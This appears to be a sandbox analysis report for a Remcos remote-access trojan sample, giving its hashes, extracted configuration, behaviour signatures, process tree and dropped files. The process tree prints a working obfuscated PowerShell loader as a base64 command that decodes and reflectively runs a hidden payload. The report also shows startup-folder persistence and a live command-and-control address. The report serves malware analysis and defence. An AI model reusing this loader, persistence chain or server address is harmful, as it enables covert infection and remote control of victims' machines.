remcos | 47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
28/04/2024, 05:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044.exe
Size 515KB
Sample240428-ftte6aha5t
SHA256 47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044
MD5 d5141d80d46fd3df879495cca103caba
SHA1 a9019fc51e0288916ff8b61d6fbdf9e3b58b65ba
SHA512 063912cfba95c2ef51c7bf927f9a2b251379cdf1aac2bee7e513148504bb438edde4bf4bc24aeb49b11b2933c60a9d19d88ea35b76ce576c6183dcab114aeafd
SSDEEP 12288:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLPLLLLLLLLLL8:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLLY
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

172.94.101.172:6238

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZY6SQA
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1860 set thread context of 2912	1860	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1876	powershell.exe
1876	powershell.exe
1860	powershell.exe
1860	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 4824	2052	47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044.exe	80
PID 2052 wrote to memory of 4824	2052	47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044.exe	80
PID 2052 wrote to memory of 4824	2052	47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044.exe	80
PID 4824 wrote to memory of 3060	4824	wscript.exe	81
PID 4824 wrote to memory of 3060	4824	wscript.exe	81
PID 4824 wrote to memory of 3060	4824	wscript.exe	81
PID 3060 wrote to memory of 1876	3060	cmd.exe	83
PID 3060 wrote to memory of 1876	3060	cmd.exe	83
PID 3060 wrote to memory of 1876	3060	cmd.exe	83
PID 3060 wrote to memory of 1860	3060	cmd.exe	84
PID 3060 wrote to memory of 1860	3060	cmd.exe	84
PID 3060 wrote to memory of 1860	3060	cmd.exe	84
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85
PID 1860 wrote to memory of 2912	1860	powershell.exe	85

C:\Users\Admin\AppData\Local\Temp\47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044.exe
"C:\Users\Admin\AppData\Local\Temp\47f9955f36afbe74f292eb02e47c782f720c9adaaa8e31cf9f82e50c74c3b044.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInN2Yy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\svc.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1876
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\svc.ps1"
      4⤵
      Drops startup file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 10973e727e5b0eb3f12aba60a682d66e79dfd86e4b6cfc454fd8df70c6e1fa8a
MD5 c0636f2d138baca01dbb2eedb99bf3d5
SHA1 3b927899db0f3e2cb510782592887dc02fc3e400
SHA512 0187a6ccb6428fb24ad4bc4ca14e7ce6f40ae6ca4f352f8e86a15288deb05cb4dd317ef8e9d04dc9ffb24407ecf0924af2c7910830c79366f7e4e48cb4b82b1d
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 54c1da4ce9398a1af113b5d3dc53b22e0153d304009b8c8f0a06bf5d708f9b8c
MD5 1267a5d8ab7aa8a7ea675ea6f236cc6d
SHA1 339e8db9d9746a103c9591142b7e04581d4bd6c7
SHA512 fefacb6a108a0ef390d985f58f49dd3ca727e5075a18250c52f31b249b98d4bba428afd344e227312e326185063e2ac7cd22e7019df9f0213ec070d1120278f5
SSDEEP 384:4M3HI7iS1N7tV8fbMMimJe9nNjjs2xj4/LTn66KIFsmzq0tdAq:hKiS/tAbirTjj7xj4/vnhKzmzq0p
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_cpid5w4h.cmm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cpid5w4h.cmm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 170B
SHA256 087f43e7f9f78bbeb1050cdbfaeb3d23ad7b4b742d6ef91229b8824a20daaee6
MD5 65ee9f906fdefca9b4a6a21581dd849f
SHA1 b372dea5a9b9a99311445a55b634aa8f6c1d7b9d
SHA512 1f593864f52ac61f7f4ef2aa1bfcf538dd2833e53bbd931f96c42b2ca90d2bf68545fdac547f0f3cce09ad7734acdb629bf642081227a996d3d22117263ad23a
MD5 SHA1 SHA512

Submit Download

svc.ps1

Path C:\Users\Admin\svc.ps1
Size 2KB
SHA256 9ef1dd75823ee2fe6dfc53510db979db12e8e955b6bcdf2c8729e2378c021921
MD5 72b75acafdbe7386f4aafef14d333253
SHA1 02c6142973cc8d943c11b1dcc92d0bb2a5ca8618
SHA512 6d5c401d2423e5b73ebd055b3204f754c087d6f948d157c5ab9a3b5b47d3a500c0388b9af57060ae3af16d7966ebd5e0d6bf3b35e9e64065a42ffb11aff87d1e
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 518KB
SHA256 f459ce2835f50b426f95d901bf5728ca3769595454ccb1910c21d1872b006f7d
MD5 6c99fcefc4cfca458dc32d1c1b5839e8
SHA1 1a790a0de590a6bae014c34490de08700a05fd26
SHA512 b77a09dcf0061c74fbe00d37317b594f226635bb018bda645b3405d5ce1263d0b05f33998609b112877275ccf9fdef7401ae8c1ecf37da0588afaafce2554dec
SSDEEP 12288:cBh7eM7cAGtDKTn88OZoWGuexnQ3LGaO9EMk3bmRp1Z1Wpz942lhCB/rUqhZe7s9:cBh7eM7cAGtDKTn88OZoWGuexnQ3LGag
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1860-48-0x0000000002990000-0x000000000299A000-memory.dmp

Download

memory/1860-46-0x0000000007690000-0x000000000774C000-memory.dmp

Download

memory/1860-44-0x0000000007C40000-0x00000000081E6000-memory.dmp

Download

memory/1860-43-0x0000000006A20000-0x0000000006A42000-memory.dmp

Download

memory/1860-42-0x00000000074B0000-0x0000000007546000-memory.dmp

Download

memory/1860-39-0x0000000005DB0000-0x0000000006107000-memory.dmp

Download

memory/1876-21-0x00000000061A0000-0x00000000064F7000-memory.dmp

Download

memory/1876-24-0x0000000007FB0000-0x000000000862A000-memory.dmp

Download

memory/1876-25-0x0000000006B90000-0x0000000006BAA000-memory.dmp

Download

memory/1876-29-0x0000000074360000-0x0000000074B11000-memory.dmp

Download

memory/1876-23-0x00000000066A0000-0x00000000066EC000-memory.dmp

Download

memory/1876-22-0x0000000006660000-0x000000000667E000-memory.dmp

Download

memory/1876-12-0x0000000006130000-0x0000000006196000-memory.dmp

Download

memory/1876-11-0x00000000060C0000-0x0000000006126000-memory.dmp

Download

memory/1876-10-0x00000000059B0000-0x00000000059D2000-memory.dmp

Download

memory/1876-9-0x0000000005A90000-0x00000000060BA000-memory.dmp

Download

memory/1876-6-0x0000000003280000-0x00000000032B6000-memory.dmp

Download

memory/1876-7-0x0000000074360000-0x0000000074B11000-memory.dmp

Download

memory/1876-8-0x0000000005450000-0x0000000005460000-memory.dmp

Download

memory/2912-53-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-60-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-49-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-54-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-55-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-56-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-57-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-58-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-59-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-52-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-61-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-62-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-63-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-64-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-65-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-66-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2912-67-0x0000000000400000-0x0000000000482000-memory.dmp

Download